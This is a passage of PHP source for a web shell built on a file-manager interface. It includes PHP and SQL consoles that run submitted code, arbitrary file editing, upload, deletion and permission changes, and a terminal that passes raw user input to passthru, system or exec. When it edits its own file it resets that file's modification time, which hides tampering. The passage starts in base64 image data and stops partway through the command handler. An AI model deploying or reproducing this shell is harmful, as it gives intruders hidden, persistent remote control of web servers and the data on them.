OyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
